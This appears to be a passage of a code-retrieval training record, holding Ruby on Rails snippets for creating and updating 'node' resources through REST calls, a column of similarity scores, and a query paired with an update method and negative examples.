@node.user_id.inspect , \"... object property YYYYYYYYYYYYYYYY\"\n end",
"def post\n \"\n desc 'create #{resource.singularize}' do\n tags %w[#{resource.singularize}]\n end\n params do\n # TODO: specify the parameters\n end\n post do\n # your code goes here\n end\"\n end",
"def post payload, path = \"\" \n make_request(path, \"post\", payload)\n end",
"def generic_create_node(node, component)\n node.create(\n namespace: 'staff',\n extra_params: {\n post_id: n_state(:post).id, \n position: @current_edited_node_position + 1\n },\n yield_response: true\n ).then do |response|\n begin \n post_node = parse_post_node_set_node_validate(response.json, node)\n \n if post_node.node.has_errors?\n #postimage has to copy the file in order to rerender it on error\n if node.is_a?(PostImage)\n component.update_when_has_errors\n else\n component.force_update\n end\n\n else\n modal_close\n insert_created_post_node(post_node)\n \n end\n rescue Exception => e\n `console.log(#{e})`\n end\n end \n end",
"def post\r\n end",
"def create_node!\n node.save\n end",
"def post #:doc:\n end",
"def post(resource, **params)\n\n execute(Net::HTTP::Post, 'POST', resource, **params)\n\n end",
"def create\n res = self.class.post('/', body: attrs)\n res.created?\n end",
"def post(*args)\n prepare_request(:post, args)\n @@client.add(:post, @path, *args)\n end",
"def post(*args)\n request :post, *args\n end",
"def ajax_save_edit_node\n\n # Get the Node from the DB\n node = Node.find(params[:id])\n\n node.name = params[:name]\n node.email_template_id = params[:email_template_id]\n node.delay_unit = params[:delay_unit]\n node.delay_time = params[:delay_time]\n\n # Save and verify Node and return correct JSON response\n node.put('', {\n :name => node.name,\n :email_template_id => node.email_template_id,\n :delay_unit => node.delay_unit,\n :delay_time => node.delay_time,\n })\n\n # Return Success Response\n response = {\n success: true,\n message: 'Node Updated!'\n }\n render json: response\n\n\n\n end",
"def set_node\n params[:id] = params[:id] + '/' if (params[:id] == 'rest')\n @node = Fedora.rest(params[:id])\n end",
"def post_nodes_with_root\n serialize_service.post_nodes_serialized\n end",
"def http_post(uri, data)\n RestClient.post uri, data\n end",
"def create\n @node = Node.new(params[:node])\n\n respond_to do |format|\n if @node.save\n cookies[:last_node_id] = @node.id \n format.html { redirect_to @node, notice: 'node created!' }\n format.json { render json: @node, status: :created, location: @node }\n else\n format.html { render action: \"new\" }\n format.json { render json: @node.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @node = Node.new(params[:node])\n @title = \"Taxonomy node - organism relationships\"\n\n respond_to do |format|\n if @node.save\n format.html { redirect_to(@node, :notice => 'Node was successfully created.') }\n format.xml { render :xml => @node, :status => :created, :location => @node }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @node.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def post\n RestClient.post(url, @body, @header) do |rso, req, res|\n setup(rso, req, res)\n end\n end",
"def new\n @node = Node.new\n authorize! :create, @node\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @node }\n end\n end",
"def json_post\n @content_type = 'text/plain'\n @render_nothing = true\n @rendered_template = true\n @current_layout = nil\n puts \"json_post: submitting #{params[:path]}\" if @@debug\n path = params[:path]\n if path\n puts \"json_post: path is #{path} l=#{path.length}\" if @@debug\n path = path.split('/').compact()\n path.delete('')\n # you cannot make rooted nodes via json atm... fix? xxx\n if path.length > 1\n name = path.pop\n nodes = Note.make_path @user,path\n puts \"json_post: making at path #{path.join('/')}\" if @@debug\n if nodes\n note = nodes.last.make_child @user,params,name\n puts \"json_post: made child #{note} from #{name} l=#{name.length}\"\n params[:path] = path.join('/') # for call to json_query\n # it is important to do a query rather than returning the note; to get freshest order\n json_query\n return\n #write_json note if note\n end\n end\n end\n render :nothing => true\n end",
"def create\n @node = Node.new(params[:node])\n if @node.name && @node.friendly_url.nil?\n @node.friendly_url = @node.name.downcase.gsub(/ +/,'-').split('.')[0]\n end\n\n respond_to do |format|\n if @node.save\n flash[:notice] = 'Node was successfully created.'\n format.html { \n back_to = request.env['HTTP_REFERER'] || @node\n redirect_to(back_to) \n }\n format.xml { render :xml => @node, :status => :created, :location => @node }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @node.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def post_request(object)\n end",
"def post\n end",
"def create\n @node = Node.new(params[:node])\n\n respond_to do |format|\n if (@job.nodes << @node)\n flash[:notice] = 'Node was successfully created.'\n format.html { redirect_to job_url(@job) }\n format.xml { render :xml => @node, :status => :created, :location => @node }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @node.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def post(path, *data, &block)\n map(path, R3::POST, *data, &block)\n end",
"def post(path, &block)\n route 'POST', path, &block\n end",
"def post(path, params = {})\n resource(path).post(params)\n end",
"def post(resource, data)\n proxy(method: :post, url: url_for(resource), data: data)\n end",
"def post(name,&block)\n build_resource(name, :post, &block)\n end",
"def ajax_add_node\n\n # Create a new Node Instance\n node = Node.new\n\n # Update the fields of Node Instance\n node.app_id = params[:app_id]\n node.funnel_id = params[:funnel_id]\n\n if params[:email_template_id] == '0'\n # Create a new Email Template\n template = EmailTemplate.new\n template.app_id = params[:app_id]\n template.name = params[:name] + ' Email Template'\n template.description = ''\n template.email_subject = ''\n template.color = '#3498db'\n\n # Save blank Email Template\n template.save\n\n node.email_template_id = template.id\n\n else\n node.email_template_id = params[:email_template_id]\n\n end\n\n node.name = params[:name]\n node.delay_time = params[:delay_time]\n node.delay_unit = params[:delay_unit]\n node.top = 60\n node.left = 500\n node.num_emails = 0\n node.num_emails_sent = 0\n node.num_revenue = 0.0\n node.num_emails_opened = 0\n node.num_emails_clicked = 0\n\n\n\n node.save\n\n response = {\n success: true,\n message: 'Node Saved',\n id: node.id,\n email_template_id: node.email_template_id\n\n }\n\n render json: response\n\n\n\n end",
"def create\n seth_server_rest.post_rest(\"data\", self)\n self\n end",
"def post(path, params={})\n RestClient.post request_base+path, params\n end",
"def post(*args)\n request(:post, *args)\n end",
"def new\n @node = Node.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @node }\n end\n end",
"def new\n @node = Node.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @node }\n end\n end",
"def new\n @node = Node.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @node }\n end\n end",
"def new\n @node = Node.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @node }\n end\n end",
"def create\n @map_node = Map::Node.new(params[:map_node])\n\n respond_to do |format|\n if @map_node.save\n format.html { redirect_to @map_node, notice: 'Node was successfully created.' }\n format.json { render json: @map_node, status: :created, location: @map_node }\n else\n format.html { render action: \"new\" }\n format.json { render json: @map_node.errors, status: :unprocessable_entity }\n end\n end\n end",
"def post(path, payload={})\n request(:post, path, payload)\n end",
"def create\n @pm_node = Pm::Node.new(pm_node_params)\n\n respond_to do |format|\n if @pm_node.save\n format.html { redirect_to @pm_node, notice: 'Node was successfully created.' }\n format.json { render :show, status: :created, location: @pm_node }\n else\n format.html { render :new }\n format.json { render json: @pm_node.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @comment_node = CommentNode.new(params[:comment_node])\n\n respond_to do |format|\n if @comment_node.save\n format.html { redirect_to @comment_node, :notice => 'Comment node was successfully created.' }\n format.json { render :json => @comment_node, :status => :created, :location => @comment_node }\n else\n format.html { render :action => \"new\" }\n format.json { render :json => @comment_node.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def new\n @node = @job.nodes.build \n \n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @node }\n format.json { render :json => @node } \n end\n end",
"def post(path, data={})\n request(:post, path, data)\n end",
"def create\n @node = Node.new(params[:node])\n\n respond_to do |format|\n if @node.save\n Action.log :controller => params[:controller], :action => params[:action], :target_id => @node.id, :user => current_user\n format.html { redirect_to @node, notice: 'Node was successfully created.' }\n format.json { render json: @node, status: :created, location: @node }\n else\n @node.related_edges_B.build\n @node.incoming_edges.build\n @node.outgoing_edges.build\n format.html { render action: \"new\", :layout => !request.xhr? }\n format.json { render json: @node.errors, status: :unprocessable_entity }\n end\n end\n end",
"def http_post(path, data, content_type = 'application/json')\n http_methods(path, :post, data, content_type)\n end",
"def post(path, params = {})\n\t\trequest(path, :post, params)\n\tend",
"def create\n @argument_node = ArgumentNode.new(params[:argument_node])\n\n respond_to do |format|\n if @argument_node.save\n format.html { redirect_to @argument_node, notice: 'Argument node was successfully created.' }\n format.json { render json: @argument_node, status: :created, location: @argument_node }\n else\n format.html { render action: \"new\" }\n format.json { render json: @argument_node.errors, status: :unprocessable_entity }\n end\n end\n end",
"def post(path, data = {})\n request 'POST', path, body: data.to_json\n end",
"def post!\n request! :post\n end",
"def post(path, options={})\n request :post, path, options\n end",
"def post(resource, body = \"\", headers = {})\n prepare_request(:post, resource, body, headers)\n end",
"def post(resource_path, body:, headers: {}, prefix: API_PREFIX)\n request(method: :post, resource_path: resource_path, headers: headers, body: body, prefix: prefix)\n end",
"def post(path, params={})\n request(:post, path, params)\n end",
"def post(path, params={})\n request(:post, path, params)\n end",
"def post(path, params={})\n request(:post, path, params)\n end",
"def post_data; end",
"def post(path_part, payload, additional_headers = {}, &block)\n api_request { @rest.post('/REST/' + path_part, payload.to_json, additional_headers, &block) }\n end",
"def create\n @node = Node.new(params[:node])\n @node.creator = current_user\n\n respond_to do |format|\n if @node.save\n if params[:topic_id]\n @node.topic_node_memberships.create!(:topic_id => params[:topic_id])\n end\n if params[:source_id]\n @node.source_edges.create!(:source_id => params[:source_id])\n source = Node.find(params[:source_id])\n source.topics.each do |t|\n @node.topic_node_memberships.create!(:topic_id => t.id)\n end\n end\n format.html { redirect_to flash[:page_to_redirect_to] || :back,\n :flash => { :success => 'Post was successfully created.' } }\n format.json { render json: @node, status: :created, location: @node }\n format.js\n else\n format.html { render action: \"new\" }\n format.json { render json: @node.errors, status: :unprocessable_entity }\n format.js\n end\n end\n end",
"def create\n @gnode = Gnode.new(params[:gnode])\n\n respond_to do |format|\n if @gnode.save\n format.html { redirect_to @gnode, notice: 'Gnode was successfully created.' }\n format.json { render json: @gnode, status: :created, location: @gnode }\n else\n format.html { render action: \"new\" }\n format.json { render json: @gnode.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @f5_node = F5Node.new(params[:f5_node])\n\n respond_to do |format|\n if @f5_node.save\n format.html { redirect_to @f5_node, notice: 'F5 node was successfully created.' }\n format.json { render json: @f5_node, status: :created, location: @f5_node }\n else\n format.html { render action: \"new\" }\n format.json { render json: @f5_node.errors, status: :unprocessable_entity }\n end\n end\n end",
"def post options\n rest_request({ method: :post }.merge(options))\n end",
"def post options\n rest_request({ method: :post }.merge(options))\n end",
"def post(path, params = {})\n request(:post, path, params)\n end",
"def post(resource, params)\n case resource\n when \"pedidos\", \"place_order\", \"new_order\" then url = \"/pedidos\"\n when \"envios\", \"shipping\" then url = \"/envios\"\n else url = \"/#{resource}\"\n end\n\n post_request(url, params)\n end",
"def create\n @compute_node = ComputeNode.new(params[:compute_node])\n\n respond_to do |format|\n if @compute_node.save\n format.html { redirect_to @compute_node, notice: 'Compute node was successfully created.' }\n format.json { render json: @compute_node, status: :created, location: @compute_node }\n else\n format.html { render action: \"new\" }\n format.json { render json: @compute_node.errors, status: :unprocessable_entity }\n end\n end\n end",
"def post(*args)\n Request.post(*args)\n end",
"def create\n post\n end",
"def create\n @retain_node = RetainNode.new(params[:retain_node])\n\n respond_to do |format|\n if @retain_node.save\n flash[:notice] = 'RetainNode was successfully created.'\n format.html { redirect_to(@retain_node) }\n format.xml { render :xml => @retain_node, :status => :created, :location => @retain_node }\n format.json { render :json => @retain_node, :status => :created, :location => @retain_node }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @retain_node.errors, :status => :unprocessable_entity }\n format.json { render :json => @retain_node.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def insert_node (insert_mode)\n reference_node = Node.find(params[:id])\n if !reference_node\n render_reference_node_error\n return\n end\n\n node_to_insert = Node.find(params[:node][:id])\n if !node_to_insert\n render_node_to_insert_error\n return\n end\n\n reference_node.send(insert_mode, node_to_insert)\n\n respond_to do |format|\n format.json { render json: node_to_insert, status: :created, location: node_to_insert }\n end\n end",
"def create\n Neo4j::Transaction.run do\n @q_resource = QResource.new(params[:q_resource])\n @q_resource.save!\n respond_to do |format|\n if @q_resource.save\n format.html { redirect_to @q_resource, :notice => 'Q resource was successfully created.' }\n format.json { render :json => @q_resource, :status => :created, :location => @q_resource }\n else\n format.html { render :action => \"new\" }\n format.json { render :json => @q_resource.errors, :status => :unprocessable_entity }\n end\n end\n end\n end",
"def post(path, data=nil)\n request(:post, path, data)\n end",
"def create\n @node_template = NodeTemplate.new(params[:node_template])\n\n respond_to do |format|\n if @node_template.save\n format.html { redirect_to @node_template, notice: 'Node template was successfully created.' }\n format.json { render json: @node_template, status: :created, location: @node_template }\n else\n format.html { render action: \"new\" }\n format.json { render json: @node_template.errors, status: :unprocessable_entity }\n end\n end\n end",
"def api_post(action, data)\n api_request(action, data, 'POST')\n end",
"def new\n @obj = Node.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @obj }\n end\n end"
] | [
"0.7697888",
"0.7548058",
"0.730033",
"0.7048858",
"0.6979888",
"0.6955983",
"0.6954871",
"0.6890593",
"0.6887321",
"0.6784469",
"0.67794067",
"0.67570615",
"0.67487293",
"0.6744508",
"0.6744508",
"0.6744508",
"0.6733869",
"0.66912776",
"0.6690686",
"0.6670682",
"0.66677064",
"0.6652553",
"0.6620464",
"0.6598057",
"0.6585422",
"0.65604955",
"0.6547926",
"0.6544001",
"0.65437263",
"0.65116394",
"0.6490793",
"0.64641446",
"0.64383197",
"0.6417747",
"0.64092165",
"0.64056677",
"0.6394377",
"0.6386097",
"0.63850486",
"0.6382105",
"0.638181",
"0.6378912",
"0.63780123",
"0.6369495",
"0.63503003",
"0.63461107",
"0.63454705",
"0.63433087",
"0.6342053",
"0.63395774",
"0.63380647",
"0.6334987",
"0.6333218",
"0.6331044",
"0.6325647",
"0.63041955",
"0.62807053",
"0.62754387",
"0.62744975",
"0.6273877",
"0.6273877",
"0.6273877",
"0.6273877",
"0.62706655",
"0.6261757",
"0.6250744",
"0.6246711",
"0.6240651",
"0.6237656",
"0.6219316",
"0.6208752",
"0.6188392",
"0.61732703",
"0.6168853",
"0.6154367",
"0.6136245",
"0.61335063",
"0.6130574",
"0.61210257",
"0.61210257",
"0.61210257",
"0.61186427",
"0.6110218",
"0.61090416",
"0.610699",
"0.61055416",
"0.60973686",
"0.60973686",
"0.60858274",
"0.6077745",
"0.60753953",
"0.60700774",
"0.6068331",
"0.60680056",
"0.6066458",
"0.6059969",
"0.60598046",
"0.60570467",
"0.6049885",
"0.6045957"
] | 0.6878999 | 9 |
RESTfule PUT of the node resource CB1 please review & update | def update_remove
get_node_and_network(params[:id] || params[:name])
if params[:submit] == t('nodes.edit.allocate')
@node.allocated = true
flash[:notice] = t('nodes.edit.allocate_node_success') if save_node
elsif params[:submit] == t('nodes.edit.save')
flash[:notice] = t('nodes.edit.save_node_success') if save_node
else
Rails.logger.warn "Unknown action for node edit: #{params[:submit]}"
flash[:notice] = "Unknown action: #{params[:submit]}"
end
redirect_to nodes_path(:selected => @node.name)
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def update\n authorize! :manage, @node\n\n respond_to do |format|\n if @node.update_attributes(params[:node])\n format.html { redirect_to @node, notice: 'Node was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @node.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if b.node.update(node_params)\n format.html { redirect_to b.node, notice: 'Node was successfully updated.' }\n format.json { render :show, status: :ok, location: b.node }\n else\n format.html { render :edit }\n format.json { render json: b.node.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @obj = Node.find(params[:id])\n\n respond_to do |format|\n if @obj.update_attributes(params[:node])\n format.html { redirect_to @obj, notice: 'Node was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @obj.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @node = Node.scopied.find(params[:id])\n\n respond_to do |format|\n if @node.update_attributes(params[:node])\n format.html { redirect_to(@node, :notice => 'Node was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @node.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n @node = Node.find(params[:id])\n\n respond_to do |format|\n if @node.update_attributes(params[:node])\n format.html { redirect_to @node, notice: 'Node was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @node.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @node = Node.find(params[:id])\n\n respond_to do |format|\n if @node.update_attributes(params[:node])\n format.html { redirect_to @node, notice: 'Node was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @node.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @node = Node.find(params[:id])\n\n respond_to do |format|\n if @node.update_attributes(params[:node])\n format.html { redirect_to @node, notice: 'Node was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @node.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\r\n respond_to do |format|\r\n if @node.update(node_params)\r\n format.html { redirect_to @node, notice: 'Node was successfully updated.' }\r\n format.json { head :no_content }\r\n else\r\n format.html { render action: 'edit' }\r\n format.json { render json: @node.errors, status: :unprocessable_entity }\r\n end\r\n end\r\n end",
"def update\n @node = Node.find(params[:id])\n\n respond_to do |format|\n if @node.update_attributes(params[:node])\n format.html { redirect_to @node, notice: 'Node was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @node.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @node = Node.find(params[:id])\n\n respond_to do |format|\n if @node.update_attributes(params[:node])\n format.html { redirect_to @node, notice: 'Встречная продажа обновлена' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @node.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @node.update(node_params)\n format.html { redirect_to @node, notice: 'Node was successfully updated.' }\n format.json { render :show, status: :ok, location: @node }\n else\n format.html { render :edit }\n format.json { render json: @node.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @node.update(node_params)\n format.html { redirect_to @node, notice: 'Node was successfully updated.' }\n format.json { render :show, status: :ok, location: @node }\n else\n format.html { render :edit }\n format.json { render json: @node.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @node.update(node_params)\n format.html { redirect_to @node, notice: 'Node was successfully updated.' }\n format.json { render :show, status: :ok, location: @node }\n else\n format.html { render :edit }\n format.json { render json: @node.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @node = Node.find(params[:id])\n\n respond_to do |format|\n if @node.update_attributes(params[:node])\n format.html { redirect_to(@node, :notice => 'Node was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @node.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n @node = Node.find(params[:id])\n\n respond_to do |format|\n if @node.update_attributes(params[:node])\n format.html { redirect_to(@node, :notice => 'Node was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @node.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def ajax_save_edit_node\n\n # Get the Node from the DB\n node = Node.find(params[:id])\n\n node.name = params[:name]\n node.email_template_id = params[:email_template_id]\n node.delay_unit = params[:delay_unit]\n node.delay_time = params[:delay_time]\n\n # Save and verify Node and return correct JSON response\n node.put('', {\n :name => node.name,\n :email_template_id => node.email_template_id,\n :delay_unit => node.delay_unit,\n :delay_time => node.delay_time,\n })\n\n # Return Success Response\n response = {\n success: true,\n message: 'Node Updated!'\n }\n render json: response\n\n\n\n end",
"def set_node\n params[:id] = params[:id] + '/' if (params[:id] == 'rest')\n @node = Fedora.rest(params[:id])\n end",
"def rest_update(uri, method: Net::HTTP::Put)\n request = Net::HTTP::Get.new uri\n request.add_field(\"Accept\",\"application/xml\")\n auth_admin(request)\n \n Net::HTTP.start(uri.host, uri.port) do |http|\n response = http.request request\n response.value\n\n doc = REXML::Document.new response.body\n \n doc = strip_class_attributes(yield doc)\n \n request2 = method.new uri\n request2.content_type = 'application/xml'\n auth_admin(request2)\n\n request2.body=doc.to_s\n \n response2 = http.request request2\n response.value\n\n end\n \nend",
"def update\n @node = Node.find(params[:id])\n\n respond_to do |format|\n if @node.update_attributes(params[:node])\n flash[:notice] = 'Node was successfully updated.'\n format.html { redirect_to(@node) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @node.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n @node = Node.find(params[:id])\n\n respond_to do |format|\n if @node.update_attributes(params[:node])\n format.html { redirect_to @node,\n :flash => { :success => 'Post was successfully updated.' } }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @node.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @newnode.update(newnode_params)\n format.html { redirect_to @newnode, notice: 'Newnode was successfully updated.' }\n format.json { render :show, status: :ok, location: @newnode }\n else\n format.html { render :edit }\n format.json { render json: @newnode.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @node = Node.find(params[:id])\n @title = \"Taxonomy node - organism relationships\"\n\n respond_to do |format|\n if @node.update_attributes(params[:node])\n format.html { redirect_to(@node, :notice => 'Node was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @node.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n if @node.update(node_params)\n # initiate service object to process node minimum quantity requirements\n NodeOrderInitiatorService.call(node_id: @node.id)\n render json: {}, status: :ok\n else\n # bug report about the node not able to update itself\n render json: {errors: @node.errors.messages}, status: 400\n end\n end",
"def update\n @node_rack = @object\n\n respond_to do |format|\n if @node_rack.update_attributes(params[:node_rack])\n flash[:notice] = 'NodeRack was successfully updated.'\n format.html { redirect_to node_rack_url(@node_rack) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @node_rack.errors.to_xml, :status => :unprocessable_entity }\n end\n end\n end",
"def update_tenant_circle(args = {}) \n put(\"/tenantcircles.json/#{args[:circleId]}\", args)\nend",
"def update(url, data)\n RestClient.put url, data, :content_type => :json\nend",
"def update\n @node_rack_node_assignment = @object\n node_rack = @node_rack_node_assignment.node_rack\n return unless filter_perms(@auth,node_rack,'updater')\n node = @node_rack_node_assignment.node\n return unless filter_perms(@auth,node,'updater')\n\n respond_to do |format|\n if @node_rack_node_assignment.update_attributes(params[:node_rack_node_assignment])\n flash[:notice] = 'NodeRackNodeAssignment was successfully updated.'\n format.html { redirect_to node_rack_node_assignment_url(@node_rack_node_assignment) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @node_rack_node_assignment.errors.to_xml, :status => :unprocessable_entity }\n end\n end\n end",
"def update(node); end",
"def update\n @server_node = ServerNode.find(params[:id])\n\n respond_to do |format|\n if @server_node.update_attributes(params[:server_node])\n format.html { redirect_to @server_node, notice: 'Server node was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @server_node.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @retain_node = RetainNode.find(params[:id])\n\n respond_to do |format|\n if @retain_node.update_attributes(params[:retain_node])\n flash[:notice] = 'RetainNode was successfully updated.'\n format.html { redirect_to(@retain_node) }\n format.xml { head :ok }\n format.json { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @retain_node.errors, :status => :unprocessable_entity }\n format.json { render :json => @retain_node.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n @node_config = NodeConfig.find(params[:id])\n\n respond_to do |format|\n if @node_config.update_attributes(params[:node_config])\n format.html { redirect_to(@node_config, :notice => 'NodeConfig was successfully updated.') }\n format.json { render :json => @node_config, :status => :ok }\n format.xml { render :xml => @node_config, :status => :ok }\n else\n format.xml { render :xml => @node_config.errors, :status => :unprocessable_entity }\n format.any { render :json => @node_config.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n put :update\n end",
"def setNodeON(node_id)\n cm_url = APP_CONFIG['cm_ip'] + ':' + APP_CONFIG['cm_port'].to_s\n\n options = {body: {state:\"on\"}.to_json, :headers => { 'Content-Type' => 'application/json' }}\n res = HTTParty.put(cm_url+\"/resources/node/\"+ node_id, options)\n \n end",
"def update\n respond_to do |format|\n if @pm_node.update(pm_node_params)\n format.html { redirect_to @pm_node, notice: 'Node was successfully updated.' }\n format.json { render :show, status: :ok, location: @pm_node }\n else\n format.html { render :edit }\n format.json { render json: @pm_node.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update_node(node)\n file = node_file(node)\n status = file.exist? ? \"update\" : \"add\"\n\n txn do\n (@path + \"nodes\").mkpath\n file.open(\"w\") do |f|\n f.print JSON.generate(\n node.as_json,\n object_nl: \"\\n\",\n indent: \" \",\n space: \" \"\n )\n end\n @repo.add file\n\n message = \"#{status} node #{node.fqn}\"\n @repo.commit message\n log << \"Database commit: #{message}\"\n end\n end",
"def update\n @node_incident = NodeIncident.find(params[:id])\n\n respond_to do |format|\n if @node_incident.update_attributes(params[:node_incident])\n format.html { redirect_to @node_incident, :notice => 'Node incident was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render :action => \"edit\" }\n format.json { render :json => @node_incident.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def _update_chef_node\n step(\" updating chef node\", :blue)\n set_chef_node_attributes\n set_chef_node_environment\n sync_ipconfig_attribute\n sync_volume_attributes\n chef_api_server_as_admin.put_rest(\"nodes/#{@chef_node.name}\", @chef_node)\n end",
"def update\n @node_index = NodeIndex.find(params[:id])\n\n respond_to do |format|\n if @node_index.update_attributes(params[:node_index])\n format.html { redirect_to @node_index, notice: 'Node index was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @node_index.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @compute_node = ComputeNode.find(params[:id])\n\n respond_to do |format|\n if @compute_node.update_attributes(params[:compute_node])\n format.html { redirect_to @compute_node, notice: 'Compute node was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @compute_node.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @gnode = Gnode.find(params[:id])\n\n respond_to do |format|\n if @gnode.update_attributes(params[:gnode])\n format.html { redirect_to @gnode, notice: 'Gnode was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @gnode.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update options={}\n client.put(\"/#{id}\", options)\n end",
"def update\n @map_node = Map::Node.find(params[:id])\n\n respond_to do |format|\n if @map_node.update_attributes(params[:map_node])\n format.html { redirect_to @map_node, notice: 'Node was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @map_node.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @node = Node.find(params[:id])\n @node.modifier = current_user\n respond_to do |format|\n if @node.update_attributes(params[:node])\n flash[:notice] = 'Project was successfully updated.'\n format.html { redirect_to(nodes_url) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @node.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n @comment_node = CommentNode.find(params[:id])\n\n respond_to do |format|\n if @comment_node.update_attributes(params[:comment_node])\n format.html { redirect_to @comment_node, :notice => 'Comment node was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.json { render :json => @comment_node.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def edit #$$~used\n puts \"xxxxxxx NodesC a:edit xxxxxxx\"\n @node = Node.find(params[:id])\n end",
"def update\n @f5_node = F5Node.find(params[:id])\n\n respond_to do |format|\n if @f5_node.update_attributes(params[:f5_node])\n format.html { redirect_to @f5_node, notice: 'F5 node was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @f5_node.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update_node(field_name, value)\n case field_name\n when 'offer_accepted'\n self.offer_accepted = value\n when 'referal_bonus'\n self.referal_bonus += value\n else\n return \"No operation needed.\"\n end\n self\n end",
"def update\n Neo4j::Transaction.run do\n @q_resource = QResource.find(params[:id])\n @q_resource.update_attributes!(params[:q_resource])\n respond_to do |format|\n if @q_resource.update_attributes(params[:q_resource])\n format.html { redirect_to @q_resource, :notice => 'Q resource was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.json { render :json => @q_resource.errors, :status => :unprocessable_entity }\n end\n end\n end\n end",
"def update\n keystone.update_tenant({:id=>params[:id],:name=>params[:name],:description=>params[:description],:enabled=>params[:enabled]})\n respond_to do |format|\n format.html { redirect_to tenants_path, :notice => 'Tenant was successfully updated.' }\n format.json { head :ok }\n end\n end",
"def update\n @story_node.active = true\n respond_to do |format|\n if @story_node.update(story_node_params)\n format.html { redirect_to @story_node }\n format.json { render :show, status: :ok, location: @story_node }\n else\n format.html { render :edit }\n format.json { render json: @story_node.errors, status: :unprocessable_entity }\n end\n end\n end",
